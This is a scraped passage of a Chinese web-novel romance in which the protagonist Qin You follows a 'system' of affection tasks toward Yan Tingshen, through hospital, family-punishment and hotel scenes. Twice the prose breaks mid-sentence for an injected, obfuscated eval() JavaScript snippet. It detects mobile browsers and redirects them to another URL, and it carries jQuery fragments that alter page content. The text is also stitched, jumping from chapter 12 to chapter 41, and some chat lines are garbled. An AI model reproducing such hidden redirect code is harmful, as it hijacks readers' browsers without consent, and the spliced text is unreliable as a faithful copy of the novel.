秦游挑眉:“你确定?”
严庭深看他一眼,听出他这次的问句和刚才不同,又顿了顿,缓身坐下。
视线随之下落,严庭深眸光忽凝,蹙眉扣住秦游滴血的左手。
秦游也往下扫过,对他说:“伤口裂开了,不要紧。”
严庭深蹙眉愈深,沉声道:“不要紧?缝合的伤口二次开裂,可能会引发感染,怎么会不要紧?”
秦游看向他:“既然知道问题的严重性,下次就不要挣扎。”
闻言,严庭深五指发紧,又转手扔了他的手腕。
秦游轻笑,披起羽绒服,推着轮椅走向直升机。
直到医生在飞机上给严庭深做完简单一轮检查,他才点了点严庭深的耳麦,正色问他:“之前在场馆里,你明知道我在,究竟为什么不出声?”
严庭深沉默片刻。
场馆内,他的确听到秦游不顾生命危险,在黑暗里寻找他的踪迹。
他原本打算回应,但被突如其来坠落的冰柱打断,裴笙因此受到二次伤害。
他也的确听到,秦游把因痛呻|吟的裴笙错认是他。
甚至两人离开的前一秒,他听到秦游停留的脚步,和那道看不见的目光。
严庭深敛眸。
相处几天,他很清楚秦游的性情。
关于他的伤,秦游比他更放在心上,如果刚才先看到他,势必会放下裴笙,选择救他。
但裴笙受伤,起因是帮他拦下雪水,为此被冰柱砸中后背,几乎当场昏迷,勉强穿上一件单薄的外套,也坚持不了太久,更无法自主离开。
而他只被冰柱擦过,只要场馆不再继续坍塌,缓解一段时间,自然可以离场。
秦游折返,也并不在他意料之外。
不过,折返的时间比他意料中更短。
“说话。”
严庭深看向秦游,只淡声道:“我没受伤,也没你想得那么严重。”
秦游说:“你现在安全撤离,后果当然不严重,但你想过没有,那个木屋摇摇欲坠,我走后再塌一次,你该怎么办?”
严庭深未语。
秦游看着他:“你没受伤,但在我心里更重要。如果你要求,我可以再回来救人,前提,是在你安全之后。明白吗?”
严庭深和他对视。
面前这双眼睛里,此刻有少见的郑重其事。
嘈杂吵闹的飞机上,这双视线,比耳边传来的话更能代表秦游的心意。
秦游说:“何况你自己还是病患,有精力考虑别人,还是多照顾自己吧。”
目标看重严庭深,这个可以理解,毕竟两个人是“竹马竹马”。
可为了任务着想,他必须尽量扭转这个局面,否则下次任务再遇到这种状况,他救错人事小,任务失败,或是目标真的出了事,恐怕难以转圜。
至于严庭深,既然原文里没有他可以活得好好的,在破屋里多躺一会也死不了。
【哎对!宿主,就这样,嘘寒问暖!】
“……”秦游再看严庭深一眼,往后倚靠机舱边壁,闭目假寐。
严庭深看着两侧医护紧急为他处理的伤口。
果然裂开了,道道血迹顺着小臂蜿蜒流下,落在地面,红得刺眼。
再看秦游闭眼时再无笑意的脸,严庭深垂眸:“嗯。”
耳麦里传来的低沉声音混在杂音里,几乎听不见。
秦游眼睑微动,唇边轻挑,也很快拉平。
之后一路,两人在飞机上没再交谈。
到了医院,三人又是各自被送往不同病房。
崔凌匆匆赶过来时,秦游还没从清创室出来,听到这一点,他放缓脚步,没再急着赶路。
路过隔壁病房,他发誓没想偷听什么,可门又没关,门内的对话隐隐约约就钻进他的耳朵里。
“秦总的伤怎么样?”
是严庭深的声音。
崔凌惊诧不已。
他记得上次来医院,严庭深对大少爷的态度还是拒人于千里之外。
这才几天时间,不仅人已经同吃同住,现在第二次到医院,这位严总竟然在主动关心大少爷伤情?
“哦!秦先生的伤正在重新缝合,目前看也没有感染的迹象,就是多多少少会对恢复产生影响,而且左臂近期一定不能再用力,以免伤口再度撕裂,那样就不好处理了。其余的,需要住院观察一天
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14406579|153476||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看看。”
严庭深听完,微一颔首。
医生看他的表情,小心告辞:“您没事的话,那我先去忙了。”
严庭深说:“嗯。”
听到脚步声,崔凌回过神,继续往前走进秦游病房。
他在病房里等了又等,直到秦游回来,都没看到严庭深的身影。
怎么回事?
不是关心吗?
怎么还不过来?
“崔助理到这找人?”
“……”崔凌从门口的方向收回目光,看向秦游,“小秦总,我已经和主办方那边联系过了,对方正在全面检查阁楼坍塌的原因,从已经查出的痕迹看,大概率是阁楼一二两层温差过大,造成暖气上涌,积雪在屋顶融化后,雪水又一层层凝结成冰,重量也层层加重,导致发生意外。”
秦游说:“核查过了?”
崔凌说:“我已经派人过去,董事长不放心,也派了人,还有警方,也到现场了。”
对于大少爷的话,他现在是不得不服气。
就算他按秦游的交代,把两架直升机都友情安排回到宴会现场展开救援,可听说那里至今还有人没救出来。
主办方的确有完善的救援计划,一切也都实行顺利。
拖到这么久,其实无关参加宴会的名流,而是那些为名流们服务的工作人员。
他们毫无背景,得不到任何特殊照顾,在寒风里冻了这么久,全是为别人买单。
崔凌推了推眼镜。
就连他自己,今晚如果没有事前准备好的救援,也不会回来得这么顺利,还能这么幸运,毫发无损。
归根结底,是秦游在安全上的特殊洞察力救了他。
就算不是救他一命,最起码也是让他避免一场大病。
想到这,又想起出发时还质疑过秦游,崔凌简直无地自容。
他攥了攥拳,正琢磨怎么回报大少爷才好,突然福至心灵。
对啊,秦游喜欢严庭深。
崔凌往前一步:“小秦总,其实,刚才我过来的时候,无意听到严总在关心你的伤。”
他原以为听到这句话,秦游不说精神大振,怎么也该追问当时的具体情况。
结果大少爷连抬头都欠奉,态度敷衍至极。
“嗯。”
崔凌张了张嘴。
他理解不了。
回来之前,他还亲眼看着秦游冒着那么大的风险闯进危楼,看着就是不救出严庭深誓不罢休的痴情样子。
现在人救回来了,反而不在乎了?
这算什么癖好?
只想付出,不要回报??
可既然秦游无所谓,崔凌自认一个外人,也无话可说。
看时间不早了,秦游又刚缝针,他正想告辞,方便秦游休息,又想起一个人来。
“对了,还有裴助那边,他——”
冷不丁对上秦游的眼神,崔凌的话堵在了嗓子里。
“……小秦总?”
秦游看着他,声音不疾不徐:“崔助理,在秦氏待够了?”
“……”崔凌不明所以,但听出语气危险,他面上镇定,“小秦总的话,我不明白。”
秦游说:“是我的话说得不够清楚吗,还是崔助理贵人多忘事,这么快就不记得我说过什么。”
说过什么?
崔凌大脑迅速转动,很快记起之前秦游的警告。
可是……
那不是针对严庭深的禁令吗?他现在又没提到,只问到裴笙——
崔凌一愣。
难道是他刚才提了一句,就算是好话,大少爷也不能忍受?
所以现在随便找个由头发落,直接把范围扩散到了和严庭深相关的人都不能提?
“仅此一次,下不为例。”
秦游已经收回视线,“再让我听到,崔助理,你这个季度奖金减半。”
崔凌:“…………”
想想奖金。
他忍了。
“好的……”
说完,崔凌扭头走了。
正在这时,系统跳了出来。
【任务完成,奖励结算了,宿主快看!】
面板上,数据已经显现。
好感度:10%→19%
【太好了,一个小剧情节点,一次性涨了九点!我就知道,宿主出马,手到擒来!】
系统高兴地说,【宿主,再努力一下,只要再涨一点,第二阶段的主线好感度任务就能解锁啦!】
好感度任务。
听起来和紧急预案任务一样不靠谱。
秦游看着面板上的数值。
不行。
好感度不能再涨了。
12.第 12 章
在医院休养一夜,崔凌赶在秦游出院时提醒了一遍方案。
记起这件事,秦游把目标做的那一份做了简化,上车前随手发了过去。
崔凌刚被勒令禁止靠近泽水湾,只能站在原地看车尾气渐行渐远。
听到消息提示音,他掏出手机,点开文档没看几秒,眼镜后的双眼渐渐越瞪越大。
这……
这是秦游写出来的?
崔凌震惊地把文档翻来覆去看了五遍,下意识看向秦游的方向。
这到底是天才,还是奇迹!
—
秦游带着目标回了泽水湾。
医院这个地方容易出事,与其让麻烦找上门,不如回到住的地方,没人打扰,有两看生厌的天然条件。
下车时,见严庭深停在门前看过来,秦游问:“怎么?”
严庭深扫过他的手,眉间痕迹稍蹙而过:“你的伤口需要观察,何必提前出院。”
秦游说:“家里有医生,去医院也很方便。”
严庭深看他一眼:“比身在医院更方便?”
秦游笑了笑:“只是伤口重新缝合,别这么大惊小怪。”
严庭深正要开口。
“倒是你。”秦游上前两步,和他并肩,含笑和他对视,“每天的训练必不可少,但比起医院的器材,家里你用惯的这些,是不是比医院方便。”
严庭深微顿。
秦游急着出院,是因为他?
秦游说:“外面风大,你也不适合久站,进去吧。”
严庭深薄唇微抿:“嗯。”
他迈上台阶,还没拉远距离避开秦游的伤,抬眼看见秦游当先进门的背影。
换作以往,秦游会陪在他身旁。
回程车上,秦游也一反常态,一言不发。
但从刚才表现,又和平常没什么两样。
随即记起秦游的伤,严庭深稍稍蹙眉。
出院太早,终究有些影响。
他再看没入门后的秦游一眼,才接着往前。
秦游已经回房。
好感度增涨需要暂缓,他打算这几天除了帮目标做康复外,其余一律置身事外。
康复训练这件事,做了这么多次,目标好感度从来不涨,不用担心。
期间,崔凌偶尔送来一两份文件,他都扔在楼梯前的桌案上。
本想以此打扰目标休息和工作,没想到每天早饭后,他都会收到目标发来的文档。
全帮他处理了。
一份都没落下。
以至于今天早上,秦游正吃着饭,听到严庭深忽然开口。
“以后把文件送到我房里吧。”
秦游一顿。
严庭深手上动作没停,没去看他,语气也如常平淡:“有些涉密资料,不要随手乱扔。”
秦游:“……”
他转向严庭深。
看起来的确是狠心绝情的一张脸。
但怎么这么不中用,帮忙就算了,还这么耐心?
他再看面板。
好感度依旧是没有变化。
也就是说,除了让目标帮他打了几天白工、甚至目标主动要求接手这份白工,计划基本宣告破产。
他现在信了系统资料里对目标的评价。
外冷内热。
目标不是没有热心肠,只是藏得比较深。
唯一的收获是,好在数值即便没降,至少没涨。
系统总觉得哪里不对劲:【宿主!目标一直在帮你处理文件吗?!】
秦游说:【有吗。】
【啊?】系统又茫然,【没有吗?】
秦游说:【不乱放资料,跟帮我处理文件,有联系吗。】
系统立刻羞愧:【对不起啊……】
秦游没有追究。
听到手机响起来电铃声,他随手接起。
听筒里是秦恒钟的声音。
“秦游,收拾一下,我让你小姑带着向赫去泽水湾向你负荆请罪。”
秦游看了一眼严庭深:“他们几点到?”
秦恒钟说:“看你几点方便。”
秦游说:“那还是回家吧,没必要兴师动众到我这。”
他这里还要金屋藏“娇”,怎么能让人随便进来。
听筒里安静两秒。
秦恒钟轻叹:“难为你这么想。你说得对,那就到家里来吧。”
秦游不知道这是想了什么,只说:“我二十分钟后出发。”
“好。”
挂了电话,秦游看向严庭深:“家里有点事要处理,一会我出门一趟。”
严庭深道:“祁向赫?”
秦游的伤最近应该不算太好,大多时候都在房间休息,除非必要,鲜少出门,会特意去处理的事,没有几件。
秦游挑眉。
放在从前,他不提的事,目标可从不过问。
但这件事也没什么好隐瞒,他说:“嗯。说是要负荆请罪。”
负荆请罪?
严庭深转眼看他。
对内部简而化之,一向是约定俗成。
既然请罪,那么只是家事,处理结果不会苛刻。
以秦游的个性,大约也不会追究。
严庭深眸光微沉。
“好了,你接着吃吧,我上楼换身衣服就出门。”
秦游从桌前起身,临走前对严庭深说,“你自己在家小心点,有事联系我。”
“嗯。”
严庭深看回他,顿了顿,开口道,“你也注意安全。”
秦游笑了笑:“好。”
话落,他转身离开餐室,去了楼上。
再下楼,司机等在门口。
秦游坐车来到秦宅时,相关人员已经到齐。
引路的管家对跪在会客厅里的祁向赫视若无物,还在询问:“秦少,您想喝点什么?”
秦游说:“随意。”
管家点了点头:“好的。”
秦恒钟听到声音:“秦游,过来。”
秦游走近,看到会客厅里除了祁向赫,还有一对中年男女。
男人,他在秦恒钟的寿宴上远远见过,应该是祁向赫的父亲,祁海良;
另一位自然是祁向赫的母亲,也就是原身的小姑,秦艺。
秦艺打扮很随意,中长发,脸上连提气色的口红都没涂,十分不在意外貌;
但跟在她身后的祁海良不同,相近的年纪,看上去要比秦艺年轻十岁,穿着打扮样样精致,连头发都是精心打理过的,和秦艺站在一起,像个奶油小生,言行举止间,更实时都在迎合着自己的妻子。
看到秦游,祁海良拨了拨秦艺的手。
“现在秦游也到了。”
秦艺叹了口气,“爸,你说就这点小打小闹,弄成这样,真的有必要吗?”
秦恒钟说:“小打小闹?如果当天摔下去的是秦游,今天你还是这个态度吗?”
秦艺说:“可现在掉下去的不是老二吗,他腿都断了,还没好全,你就让他跪在这给秦游道歉——”
秦恒钟冷眼看她:“够了!”
秦艺讪讪,见他动了真火,干脆倒坐回沙发,不再求情。
秦恒钟看向祁向赫。
祁向赫顾不得双腿的剧痛,忙对秦游说:“游哥,那天是我一时鬼迷了心窍,才想跟你开那种玩笑,我真的不是存心想让你受伤,我也真的知道错了,以后绝对不会再犯了!”
注意到秦恒钟的视线,他声泪涕下地表示悔恨,但始终勾着头,双拳在地毯上紧紧攥着。
秦游不知道秦恒钟是用什么办法撬开他的嘴,闻言只是笑笑,也到一旁沙发前坐下:“这件事,爷爷和小姑打算怎么处置?”
祁海良忙又撞了撞秦艺的肩膀。
秦艺只当没感觉,看向秦恒钟。
秦恒钟冷声道:“这种事,在秦家决不允许出现!我今天让你们两个过来,就是让你们听清楚,向赫从今天起,不许再进秦氏大楼一步,以后也和秦氏没有半点关系。”
听到这句话,祁向赫的大脑一片空白:“姥爷……”
秦艺也没想到会这么严重:“没半点关系?爸,那他的股份……”
秦恒钟说:“你的股份,可以随意支配。”
言外之意,就是除此之外别无其他。
秦艺皱起眉:“有点过了吧,爸,孩子之间开个玩笑而已……”
秦恒钟反问:“你觉得这是玩笑?”
秦艺张了张嘴。
秦恒钟说:“那我告诉你,再让我发现一次这种玩笑,你也给我滚出秦家!”
秦艺又讪讪:“好好的,您冲我发什么火啊……”
秦恒钟冷哼一声,看向秦游:“这么做,你觉得呢?”
秦游说:“我一切听您的。”
秦恒钟脸色稍缓,对一旁的一家三口说:“都滚出去。记住我今天说的话!”
秦艺看了看秦游,耸肩从沙发上站起来。
她自顾自地向外走,对祁海良说:“还不把你儿子带上。”
祁海良脸色难看极了,又不敢造次,上前扶起祁向赫,连忙跟了上去。
一直走到门口,他才快走几步:“老婆,这件事难道就这么算了?向赫就是开个玩笑,秦游又没伤到一根头发,而且那个楼梯间没监控没证人的,老爷子他现在这么做,不是明晃晃的偏心吗!”
“刚才当着老爷子的面你怎么不说话,哑巴了?”
秦艺没好气地说完,瞪了他一眼,“要我说,人贵知足,现在老二的股份没了,你们开心了?高兴了?满意了?”
祁海良心里“咯噔”一声,不知道她是不是看出点什么:“老婆……”
秦艺却懒得听他解释:“自从大哥的事,老爷子正憋着一团火,我警告你们,安心在家里当个花瓶就行了,别给我再惹麻烦。”
祁海良握拳掐着掌心,脸上挂着笑:“行,老婆,我都听你的。”
秦艺看了看他,摇了摇头:“你们自己回去吧,我还有个局。”
祁向赫愣愣看着她走远,转头看向祁海良:“爸,妈不会真的不管我了吧?”
祁海良脸上的笑容抹尽,露出冷笑:“你也不想想,从小到大,你这个妈管过你几回?”
总是说什么知足常乐,富贵闲人。
可是也不看看,他们手里有的,全都是那老东西一个人说了算,现在还不是说收回就收回!
秦艺一个女人,头发长见识短,自己没能力、不帮忙就算了,还要拦着他们父子去争去抢,难道全都等着坐吃山空吗?
他当初不惜付出一切也要爬进秦家的门槛,可不是为了当一个富贵闲人的!
“没关系,”祁海良深吸一口气,“幸好我给你们都留了后路。现在的娱乐圈今非昔比,就算你没了股权,还是能背靠秦家,只要有资源,照样可以赚大钱!而且还有你哥在,他那么聪明,对付秦游绰绰有余。”
听到秦游的名字,想到就是这个罪魁祸首把自己害得这么惨,祁向赫脸色扭曲:“秦游这个一无是处的废物,早晚有一天,就算有姥爷偏袒,我也要把他踩在脚底下!”
祁海良正要安慰他两句,突然看见秦家两个男孩对着他们的方向指指点点,嬉笑不已。
“大屁股!”
祁海良大怒:“你们说什么!”
“小姑父,小表哥,热搜呀,小表哥的大屁股!”
男孩们嘻嘻哈哈的,说完就大笑着跑远了。
祁海良和祁向赫面面相觑,心里都有种不好的预感,忙掏出手机点开应用。
祁向赫抖着手点进排行榜第一的详情页面,看个开头,眼前就阵阵发晕。
寿宴那天的视频,竟然泄露出去了?
“快,全网屏蔽这条
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14411593|153476||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
视频……”
祁海良也立刻打出去一个电话,收到的回应却让他暴怒。
“你给我说清楚,什么叫撤不掉也屏蔽不了!”
—
秦宅内。
会客厅。
“秦游,我知道,在国外的这些年,你一定在恨我和你爸爸。”
秦游倚坐沙发,看着秦恒钟似乎颓然的背影,没去打破对方的幻想。
恨?
原身这些年纵情享乐,因为身在国外,还不受拘束,每天除了高兴就是快活,早就乐不思蜀,连痛苦都没有,何况是恨。
倒是被急召回国,想到要被管教,确实很不甘愿。
秦恒钟说:“但当初你妈陪你去国外生活,谁也没想到会发生意外,你爸爸几次想接你回国,也因为公司的事太忙,都搁置了。”
秦游听出他有话要说,没去接口。
“结果又没想到,他自己也出了意外。”
秦恒钟转身,看向秦游,“秦氏不能群龙无首,出于无奈,我派人接你回来,说实话,秦游,那几天的表现,我对你非常失望。”
对原身的失望,秦游并不放在心上。
秦恒钟说:“扪心自问,我不想把我和你爸爸一手创立的家业,交到这样的你手上。”
秦游微坐正。
扪心自问,这份家业,他也不打算接手。
“但是——”
秦游无奈。
“——你小姑胸无大志,你小叔也不堪造就,只有你,年纪还小,未来还有无限可能。”
秦恒钟接着说,“我也承认,我之前对你的印象存在偏见。这段时间,我看着你一天比一天出色,不仅几次遇到危机都能全身而退、独自做出方案;就连我给你的考验,都全部完成得这么漂亮。”
考验?
秦游转念,随即想到目标帮他处理完的那些文件。
失策了。
他没想到秦恒钟对他的期望下限那么低,那种小事也算考验,还借崔凌的名义送来。否则他怎么会随便交给目标处理。
“总之,你做得很好。”
秦恒钟看向秦游,饱经沧桑的眼里带着欣慰,“以前是我不好,没有早早把你接回国来好好培养,希望为时不晚。”
“……”
秦游:“……”
他在沙发上听完了秦恒钟注定为时已晚的感慨和期许。
之后看时间还早,回去也是和目标单独相处,索性去公司转了一圈。
直到两点,才借口伤口不适,坐车回泽水湾。
路上,他给严庭深发消息。
秦:我现在从公司回去,一小时后到家。
意外的,对面的消息也回得很快。
。:我在医院。大概会迟半个小时。
秦:医院?怎么回事?
。:我的伤没事,不用担心。
秦:那你自己看着办吧。我在家里等你。
看着这条消息,严庭深打字的指腹悬在屏前,随后才回复。
。:好。
提示音再也没响起。
严庭深收回手机,看向病床上的裴笙。
裴笙也正出神望着严庭深。
看到严庭深的动作,他收起脸上的恍惚。
这次如果不是他在宴会里是因为救人受了重伤,庭深可能不会来探望。而这次探望,也是基于一些只有他在跟进的工作。
在他的印象里,严庭深从不闲聊。
严庭深只需要简洁精确的有效信息,其余一切,关心也好,日常也好,可能在严庭深眼里,都是毫无意义的废话。
就连现在这样面对面的交流,严庭深都不会允许出现题外话,何况是远程通话,更何况,是更麻烦的文字消息。
裴笙也猜到文字另一端的人是谁。
秦游。
这个认识还不到十天的男人,拥有他难以企及的吸引力。
很显然,作为朋友,秦游远比他这个和庭深有着二十几年交情的人,更能走进庭深心里。
这样惨烈的对比,偏偏他生不出任何挫败的悲愤,只是觉得无力,也觉得理所应当。
谁让就连他自己,也深受秦游两次天大的恩情。
“他……”裴笙想着,忍不住出声询问,“没有陪你一起出来吗?我记得,他一直很担心你。”
严庭深看着他。
对上这双总是轻易把人看穿的深邃眼睛,这么多年,裴笙仍感到不自在。
他搭在被子上的手下意识按紧,解释说:“我没有别的意思,只是,我还没当面向他道谢。”
严庭深淡声道:“如果他想要你的答谢,会来见你。”
裴笙双手又紧。
他知道,秦游并不喜欢他。
那天的状况,他猜得出。
秦游救他,可能是把他当成庭深的附庸。但这不能化散他对秦游的感激。
想起那天。
冰天雪地的漆黑寒夜。
那个桎梏一般的温暖环抱——
裴笙垂下视线。
哪怕只出于一时的好心,秦游也确确实实,又救了他一命……
—
【哇!】
安静的车厢里,系统欢欣雀跃的声音尤其清晰。
【宿主,目标好感度!快看,突破二十了!】
突破?
秦游的视线从平板转移到系统面板。
好感度:19%→20%
下一秒,系统发出提示。
【主线好感度任务已解锁。】
【请宿主寻找合适时机,向目标强势告白。时限:七十二小时。】
【宿主太棒了,好感度任务也这么简单!】
系统高兴坏了,【告白而已,直接到目标面前,对他说一句我爱你就好了!】
秦游:“……”
什么?
40-50
第 41 章 同床共枕?
听到消息提示音, 系统欢呼:【好耶,目标来找宿主啦!】
秦游也掏出手机。
原身的账号没再用,他的列表只有一个联系人。
打开聊天软件, 秦游还没看清内容, 一条提醒跳出来。
消息撤回了。
随后又发来一条……:你在哪?
秦游没太在意,回复过去。
秦:酒店……:苍滨?
秦:对……:几号房间?
秦游挑眉。
他前两天用脱不开身为借口拒绝目标的邀约后,他们之间就没了联系。
他也理解, 以目标的性格,第一次主动邀请就碰了钉子, 再鼓起勇气, 还需要时间。
何况, 既然他很“忙”, 目标更不会打扰。
现在又是什么情况?
目标这一连串的问句, 看起来实在有点咄咄逼人。
不过他没去深想, 只回复。
秦:6号。
秦:你要过来?。:你不方便?。:还在忙?还脱不开身?
秦游看着这两条消息, 微顿了顿。
他回想前两天。
难道面都没见, 真的把人得罪了?
毕竟上次在目标家里分手还很平常, 只能是这两天发生的事。
秦游正要回复, 消息一闪。
又撤回了。
连撤两条。
随后是新回复……:方便吗?
秦游看着三条消息, 不由笑了笑。
秦:方便。
秦:你想过来,随时都方便。
一分钟后,对面才有回音……:电梯里。
秦游笑意没消。
不多时, 他看一眼时间,也从沙发起身,从卧室出来,回到客厅。
门铃恰时响起。
保镖正要走过去,看到秦游略一抬手, 当即退回原位。
秦游走到门前,打开房门时,严庭深也循声看向他。
“你——”
严庭深正开口,转眼看到秦游身后的保镖。
秦游笑说:“先进来吧。”
严庭深和他先后进门,没在客厅逗留,直接进了书房。
秦游刚合起门,身后就传来目标的声音。
“你病了两天,为什么瞒着我?”
秦游一顿。
系统瑟瑟发抖:【宿主,目标语气好像不太好啊,他是不是生气了?】
秦游也有察觉。
从消息到见面,目标确实比平时带有一些情绪。
也只是一些情绪,还谈不上生气。
秦游看了看严庭深的脸。
能得知他病了的消息,目标一定会知道他这两天不在公司。
这么说来,他忙于工作的借口已经被识破。
是因为这个对他不满?
那没办法了,他只能退而求其次,顺势换成因病不能赴约。
虽然同样是谎言,善意的谎言总比纯粹的谎言要好。
至少能平息目标这次来兴师问罪的怒火。
想到这,秦游不动声色,回身看向严庭深,先问:“你怎么知道我病了?”
闻言,严庭深眸光微垂,走到一旁坐下,才道:“齐老和秦老前天晚上小聚。”
秦游了然。
那次小聚应该就是秦恒钟给他定下的行程之一,他因“病”失约,秦恒钟总要解释原因。
“如果不是齐晏今天告诉我,”
严庭深已经重看向他,说着,眉间刻痕又蹙起:“我还不知道,你病得这么重。”
听出他的话出于关心,秦游也走到沙发前:“你看我像是病重的样子吗?”
严庭深抬眼,视线随着他坐下,见他的脸色的确没有病态,眉头略略抚平,语气也微缓:“还有哪里不舒服?为什么不带个医生过来。”
秦游轻笑:“我真的没事。小病而已,休息两天已经彻底痊愈了,否则我怎么会来参加峰会呢。”
严庭深上下看过他,原本已经没话要说,见他在笑,又蹙眉道:“你还没回答我的问题。这件事为什么瞒着我?”
秦游注意到他的眼神,于是正色:“当然是因为不想让你担心。”
严庭深薄唇微抿。
秦游道:“上次在杉韵,我只是有点低烧,就让你记挂那么久,这次病得也不重,何必再让你操心。”
听到前半句,严庭深搭在扶手的小臂已经微紧,听完这句话,他忽地从沙发上起身,转移了话题:“你这次又是怎么病的?”
秦游沿用同一个理由:“可能是上次的后遗症,有点低烧。”
“后遗症?”
严庭深转身到一半,又回眸看他,“怎么回事?”
秦游道:“也可能不是。这只是我的猜测。”
严庭深蹙眉看他:“猜测?你没去医院?”
秦游笑说:“这点病去什么医院。”
对上严庭深的眼神,他无奈改口,“我答应你,下次再有症状,我一定去医院做个全身体检。”
见严庭深对这句话仍然不太满意,他也站起身:“好了,别聊我的病了,聊点开心的吧。”
病是假的,后遗症也是假的,目标的关切却出自真心。
用一个虚假的借口消耗一份真心实意,对目标并不公平,他也做不到。
严庭深看得出他不想再谈下去,于是和他一起走到窗前。
秦游示意他看向窗外:“这里风景不错,其实可以到外面转转。”
这里不是距离峰会最近的酒店,却是风景最好的,嵌在比邻雪山的一处断崖。
由于地理位置特殊,为此,即使空间有限,连卧室都只有一个,酒店方也不惜在每个套房配备一个观景用书房,全景玻璃窗,供客人向外观赏。
雪山脚下,是两条经过处理的雪道。
从高空下望,可以看到有分散的黑点正在雪道往返。
严庭深也顺着他的视线看下去:“你喜欢滑雪?”
秦游道:“会一点,算不上喜欢。”
严庭深看向他的侧脸。
从这张脸上,的确看不出对滑雪的怀念或向往。
但既然“会一点”,也许曾经喜欢过。
‘既然你不想欠我,我喜欢的东西,你是不是也该自己摸索?’
脑海里响起秦游的话,严庭深收回目光。
摸索,也是试错。
让秦游感兴趣的东西很少,有线索的更寥寥无几,自然不该错过。
“你想下去吗?”
秦游转眼,看到严庭深正看向山下,也许有所察觉,和他对视一眼。
“这场峰会,你应该兴趣不多。”
严庭深又收回视线,“那么,滑雪呢?”
秦游不免意外:“你要陪我去滑雪?”
严庭深微顿:“我不会滑雪。”
秦游也继续看向山下。
上辈子为了哪件事走进雪道,他已经不记得,不过无非也是为了利益互换的交际。
想下去吗?
应该没那么想。
但目标说得很对,这场峰会,他丝毫没有兴趣。
任务详情里固定的坐标也不在会议场馆,所以他根本没打算参加。
那么,相比而言,滑雪也算是感兴趣了。
再者。
上辈子是为交际,这一次不需要虚与委蛇,想必没那么无聊。
秦游轻笑看向玻璃窗上、目标的倒影:“没关系,我可以教你。”
倒影也在看他。
听到这样的默认,秦游又笑问:“什么时候有空?明天,还是后天?”
目标和他不同,来这场峰会不是受任务驱使,忙的是正事,今明两天不一定能抽出时间。
严庭深抬腕看表:“明天。下午两点后。”
秦游也看向他的手表,笑意加深:“没问题。明天下午,我来教你滑雪。”
严庭深没有拒绝:“好。”
定了时间,两人又闲聊一阵,严庭深接到一通电话,和秦游告别。
秦游知道目标是去现场。
按理说他现在也该出发了,崔凌也给他打了一通电话。
但任务没激活,他不打算为难自己,也不打算浪费时间在这些东西上。
崔凌还试图唤回秦游的责任心:“小秦总,这次的峰会是关于——”
秦游打断了他:“我的病还没好,这两天不要打扰我。”
“……”崔凌早就觉得二世祖这个病来得蹊跷,听到这句话,疑心更重,“小秦总——”
电话挂断了。
秦游正要把手机扔回沙发,提示音响起来……:不想出门,就好好休息,免得病情反复。
秦游失笑,回复一个“好”字,才转身回到卧室。
到晚宴,由于靠近坐标位置,他特意下楼一趟。好在一顿饭吃完,宴会厅风平浪静。
饭后和目标一起回到楼上,时间已经接近八点。
送目标到门口,秦游也回了房间。
睡下前,他去浴室洗漱。
只是洗澡到一半,系统突然发出提醒。
【随机好感度任务触发。】
【意外即将发生,请宿主利用该次意外,与目标同床共枕,度过今晚。】
秦游一顿。
同床共枕?
系统跳了出来:【哇宿主!运气太好了吧,竟然又是随机好感度任务——哇,宿主,怎么我只能看到马赛克?咦,怎么什么都听不见?】
秦游只问:【会发生什么意外?】
能听到宿主的声音,系统没再多问:【不知道啊宿主,详情页里没有,从目标的记忆中提取——】
它的话没说完。
秦游看到头顶灯光一闪,随后周围转瞬一片漆黑。
水声也停了。
秦游皱眉,从一旁取过浴袍穿上。
房间内电话铃声响起,他抬手接通,对面传来管家满怀抱歉焦急的解释。
“实在对不起!是暂时性的停水停电,工作人员会马上赶到修复的!”
秦游只问:“多久?”
管家忙说:“人马上就到,但是通水电的时间,我……”
他正为难,门外门铃响起。
管家也问:“是他们到了,需要我帮您开门吗?”
秦游说:“嗯。”
他挂了电话,走出浴室。
没多久,管家也匆忙赶到,听工作人员说至少要五个小时才能修好,他不禁有些惊慌,忙看向秦游。
“这……这……”
秦游听着他给出几个方案。
峰会期间房源紧张,这里已经客满,他要换房,必须先换酒店。
系统也已经恢复正常:【宿主,这好像就是意外呀?】
秦游沉默。
他扫过身上还没来得及换下的浴袍、还没冲洗干净的泡沫——
任务先不提,他现在需要先借用目标的浴室。
只是这样过去,目标应该不会多想吧?
第 42 章 他的本能不会撒谎。……
【宿主, 你快去目标那里呀,检测到室内温度正在下降,你再不走, 又要生病了!】
除了抢修的工作人员, 管家和侍者也都紧张地等在沙发一侧,面露忐忑。
能住在这的人,没有一个得罪得起, 房间里出现这么大的纰漏,他们简直心急如焚。
秦游也没为难他们。
不论意外还是剧情点, 都不是人为控制, 事情已经发生, 怎么解决才是关键。
他转向早已赶到的保镖:“收拾东西吧。”
“是。”
其中一人上前一步:“秦总, 需要备车吗?”
秦游看他一眼, 记得对方是叫项海峰, 35岁, 很恰当的年纪, 足够成熟, 足够谨慎。
秦恒钟指派的人中, 项海峰不是实力最强, 却最细心,可以算半个生活助理。
“暂时不用。收拾过东西,你们先回去休息。”
“是。”
秦游起身, 借临时照亮的灯光,回卧室拿起手机,先给目标打了个电话。
对面很快接起。
将近十点接到电话,目标的声音带着浅浅的询问。
“找我有事吗?”
秦游开门见山:“你现在方便吗,我可能要借用你的浴室。”
原身的记忆里, 的确有这次停水停电。
